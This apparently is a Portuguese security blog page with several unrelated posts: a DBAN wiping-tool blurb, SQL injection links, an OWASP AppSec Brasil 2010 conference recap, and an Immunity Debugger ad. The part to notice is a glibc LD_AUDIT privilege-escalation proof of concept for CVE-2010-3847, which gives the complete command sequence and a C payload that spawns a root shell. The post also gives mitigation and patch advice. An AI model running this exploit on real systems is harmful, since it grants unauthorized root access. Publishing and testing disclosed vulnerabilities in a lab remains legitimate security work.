Logo “Dragon”-> Backtrack-> Digital Forensics->Anti-Forensics

Darik’s Boot and Nuke (“DBAN”) is a self-contained boot disk that securely wipes the hard disks of most computers. DBAN will automatically and completely delete the contents of any hard disk that it can detect, which makes it an appropriate utility for bulk or emergency data destruction.

http://www.dban.org/

@firebitsbr

http://dev.mysql.com/tech-resources/articles/guide-to-php-security-ch3.pdf

http://www.google.com/search?client=ubuntu&channel=fs&q=sql+injection+mysql&ie=utf-8&oe=utf-8

http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/

http://www.tizag.com/mysqlTutorial/mysql-php-sql-injection.php

Eu estive lá no ano de 1998, quando estava terminando meu Técnico em Processamento de Dados e nos apresentaram alguns trabalhos em fibra óptica.

Em 12 anos, para mim, a estrutura do Cpqd não mudou em sua arquitetura.

Um palestrante que pude conversar, foi o:

15:20 – 16:10 Mano Paul
Wild Wild Wild Security Planet

Logo após o break. Perguntei à ele se conhecia o Aditya K Sood e ele disse que apenas “ouviu falar, mas não teve a oportunidade ainda”. É outro cara que é gente boa, humilde e manja também. Ele trouxe a esposa e o filho pequeno, que formam um linda família. Também eu e minha esposa podemos conhecê-los.

Perguntei se ele conhecia o projeto Backtrack-Linux.org e que tenho contato diretamente com o Muts (CEO do Backtrack) e nosso projeto no Brasil, o Backtrack Brasil www.backtrack.com.br ele disse que conheceu o muts na Blackhat de 2010 (este ano).

Um cara que já algum tempo, via email, era o Tony Rodrigues. Gente boa, humilde e conhece muito de forense, como todos já sabem. A palestra dele sobre Tony’s Top 10 Application Artifacts: A Computer Forensics Approach to OWASP Top 10, foi genial pois ele fez uma “ponte” entre forense e o projeto OWASP.

Minha palestra:

17:20 – 18:10 Mauro Risonho de Paula Assumpção
The Tao of Hacking – Detecção de vulnerabilidades em dispositivos de rede baseados em web

Foi trocada de horário com o do palestrante:

18:10 – 18:50 Dinis Cruz
OWASP O2 Project

Devido ao horário do vôo do Dinis Cruz, à pedido do Lucas da OWASP. Conversei com o Dinis Cruz, sobre isso e outros assuntos relevantes e como meu inglês básico e ele sabe nosso português, ficou fácil a comunicação.

O cara é gente boa, humilde e manja.

The Tao of Hacking – Detecção de vulnerabilidades em dispositivos de rede baseados em web

http://www.owasp.org/index.php/AppSec_Brasil_2010_%28pt-br%29#tab=Palestras

Demais autores: Aditya K Sood

Resumo: Este paper refere-se as falhas de projeto e vulnerabilidades em vários dispositivos de rede periféricos usados para a segurança que estão e tem interfaces web. Nós estaremos falando sobre algumas das vulnerabilidades que temos descobertos enquanto fazemos pentests e testamos esses dispositivos. Além disso, essa palestra também coloca ênfase na coleta de informações sobre redes internas dos dispositivos de rede como balanceadores de carga, firewalls, estações de disco, proxies, câmeras de vigilância, etc O objetivo é reunir o máximo de informação a partir destes dispositivos e usar essa informação para testar a segurança desses dispositivos e detecção de vulnerabilidades em si. Esta palestra é conceitual e puramente técnica, sendo projetada de uma maneira fácil de compartilhar informações entre as massas

Biografia: Sr. Mauro Risonho de Paula Assumpção aka firebits é pesquisador de segurança e palestrante em conferências de segurança. Ele está trabalhando como diretor em NSEC Security Systems, uma organização que presta serviços de Consultoria de Segurança e testes de penetração. Ele tem realizado várias testes de segurança e desenvolvimento de projetos para organizações como Intel, Google, Microsiga, Avon, CMS Energy, Unilever, Rhodia, Tostines, a Degussa, Niplan e outros. Ele é fundador e de “Backtrack Brasil” e Moderador e Tradutor Backtrack EUA.

Aditya K Sood é um pesquisador de segurança, consultor e doutorando em Ciência da Computação na Michigan State University. Ele tem trabalhado no domínio da segurança para Armorize, COSEINC e KPMG. Ele é um dos fundadores da empresa de segurança SecNiche, um espaço independente para pesquisa de segurança. Ele tem participado ativamente em congressos como o RSA (EUA 2010), TRISC, EuSecwest, XCON, Soldados, OWASP AppSec, FOSS, CERT-IN etc. Ele tem escrito para HITB Ezine, Hakin9, Login Usenix, periódicos Elsevier, Debbugged! MZ/PE. Ele lançou vários alertas para companhias de vanguarda. Além de seu trabalho de rotina normal, ele gosta de fazer muita pesquisa baseada na web e projetar vetores de ataque.

A falha que estou falando é notícia no site underlinux.org
http://under-linux.org/privilegios-de-root-atraves-de-vulnerabilidade-na-biblioteca-gnu-c-1855/ e maiores detalhes em:
https://bugzilla.redhat.com/show_bug.cgi?id=643306 e em http://secunia.com/advisories/cve_reference/CVE-2010-3847/, pois até a data deste artigo a pedido do fabricante não liberam no CVE, mais informações

OBS: Testado e comprovado com sucesso em VM local que produzi em LAB, mas não utilizando a produção ou derivados. Tenha cuidado.
O autor deste artigo não se responsabiliza por dados mediante este artigo ou derivados.

PoC Exploit (Proof of Concept Exploit)

Crie um usuário teste, set a senha e depois autentique com o mesmo

$ mkdir /tmp/exploit
$ ln /bin/ping /tmp/exploit/target
$ exec 3< /tmp/exploit/target
$ ls -l /proc/$$/fd/3
$ rm -rf /tmp/exploit/
$ ls -l /proc/$$/fd/3
$ cat > payload.c
void __attribute__((constructor)) init()
{
setuid(0);
system(“/bin/bash”);
}
^D
(Ctrl+D) <— parte as teclas para salvar e sair

$ gcc -w -fPIC -shared -o /tmp/exploit payload.c
$ ls -l /tmp/exploit
$ LD_AUDIT=”\$ORIGIN” exec /proc/self/fd/3
# whoami
root
id
uid=0(root) gid=500(teste)

Mitigação
========
Evitar de criar usuários em filesystems sem permissão nosuid
Caso não seja possível, há um paleativo:

# mount -o bind /tmp /tmp
# mount -o remount,bind,nosuid /tmp /tmp

Solução
=======
Atualizar glibc-2.5.49.el5_5.i686 -> com yum update caso já haja glibc atual.

Foi exploitado sem sucesso em uma VM Local no CentOS 5.5, sem sucesso. O que pude concluir que a atualização da glibc contorna a falha, mas deve-se avaliar melhor e com cautela, pois a atualização da glibc, sem total atualização do SO de CentOS 5.3 -> CentOS 5.5 pode o acarretar em “crash” total do SO, devido à esta biblioteca ser uma das principais do SO.

Qualquer dúvida, estou à disposição.

@firebitsbr
firebits.wordpress.com

http://www.backtrack.com.br

http://www.backtrack-linux.org

firebits@backtrack.com.br

News
IMMUNITY : Knowing You’re Secure

Immunity Debugger is a powerful new way to write exploits, analyze malware, and reverse engineer binary files. It builds on a solid user interface with function graphing, the industry’s first heap analysis tool built specifically for heap creation, and a large and well supported Python API for easy extensibility.

http://mars9.jpl.nasa.gov/msl/participate/sendyourname/index.cfm

Você deve preencher com:
- Nome
- Sobrenome
- País
- CEP

Veja o meu certificado

http://mars9.jpl.nasa.gov/msl/participate/sendyourname/index.cfm?action=getcert&hashid=AFBF97E068D8ADB023499113AC947BEE

Desenvolvedor pobre é um problema, mas um dia eu vou! (achei que nunca iria a Intel e me convidaram para ministrar palestra lá… Uia!)

http://fisl.softwarelivre.org/10/www/

Recomendo altamente para quem puder ir.